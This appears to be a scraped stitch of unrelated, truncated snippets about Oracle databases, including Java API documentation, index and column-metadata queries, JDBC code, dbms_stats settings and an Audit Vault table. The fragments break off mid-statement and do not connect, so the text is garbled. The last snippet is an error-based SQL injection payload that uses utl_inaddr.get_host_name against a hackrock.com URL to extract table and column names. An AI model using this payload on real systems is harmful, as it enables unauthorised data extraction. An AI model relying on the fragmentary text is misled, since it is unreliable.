public OracleTableDataset withSchema(Object schema) Set the schema property: Columns that define the physical type schema of the dataset. Type: array (or Expression with resultType array), itemType: DatasetSchemaDataElement. Overrides: OracleTableDataset.withSchema(Object schema) Parameters: schema ...
SQL>select index_name,index_type,table_name from user_indexes order by table_name; 查看索引被索引的字段的代码如下。SQL>select * from user_ind_columns where index_name=upper('&index_name'); 查看索引的大小的代码如下。SQL>select sum(bytes)/(1024*1024)as "size(M)" from user_segments where...
–3:索引 查看索引个数和类别selectindex_name,index_type,table_namefromuser_indexesorderbytable_name;--查看索引被索引的字段select*fromuser_ind_columnswhereindex_name=upper('&index_name');--查看索引的大小selectsum(bytes)/(1024*1024)as"size(M)"fromuser_segmentswheresegment_name=upper('&index_nam...
final ResultSet columns = metaData.getColumns(null, null, tableName, null); while (columns.next()){ String columnName = columns.getString("COLUMN_NAME"); String remarks = columns.getString("REMARKS"); remarks = StringUtils.isBlank(remarks) ? "" : remarks; final TableColumnMetaInfo metaInfo...
reset_table_prefs.sql 和 check_sales_pref.sql 代码如下所示: execute dbms_stats.delete_table_prefs('SH', 'SALES', 'STALE_PERCENT'); connect sh/sh select dbms_stats.get_prefs('STALE_PERCENT', 'SH', 'SALES') stale_percent from dual; 6. 现在,您需要以 sysdba 身份重新连接,重置全局默认值...
from user_ind_columns i where i.table_name = cons.table_name and i.column_name in (cname1, cname2, cname3, cname4, cname5, cname6, cname7, cname8) and i.column_position <= cons.col_cnt group by i.index_name); 1. 2.
voidsetPlsqlIndexTable(int parameterIndex, Object arrayData, int maxLen, int curLen, int elemSqlType, int elemMaxLen) Deprecated. since 18.1. voidsetRAW(int parameterIndex, RAW raw) Binds the designated parameter to a oracle.sql.RAW value. voidsetRAWAtName(String parameterName, RA...
(列1, 列2)索引查询:--查询某个表的索引SELECT*FROMUSER_INDEXESWHERETABLE_NAME=UPPER('表名');--根据“索引名”查询索引的字段SELECT*FROMUSER_IND_COLUMNSWHEREINDEX_NAME=('索引名');--根据“索引名”查询创建的索引(PS:第一个参数INDEX是固定写法)SELECTDBMS_METADATA.GET_DDL('INDEX','索引名')FROM...
Table 1–10 Oracle Database Redo Log Setting for the REDO Collector Audit Trail Audit Trail Setting Audited Operations Comments Redo logs Audit Vault capture rule (see Oracle Audit Vault Auditor's Guide DML, DDL, before and after Tracks before and after changes to sensitive data values columns....
get_host_name('~'%7c%7c(select table_name from all_tables where rownum=1 and owner='TEST')%7c%7c'~') --+ 获取字段名 http://hackrock.com:8080/oracle/?id=1 and 1=utl_inaddr.get_host_name('~'%7c%7c(select column_name from all_tab_columns where owner='TEST' and table_...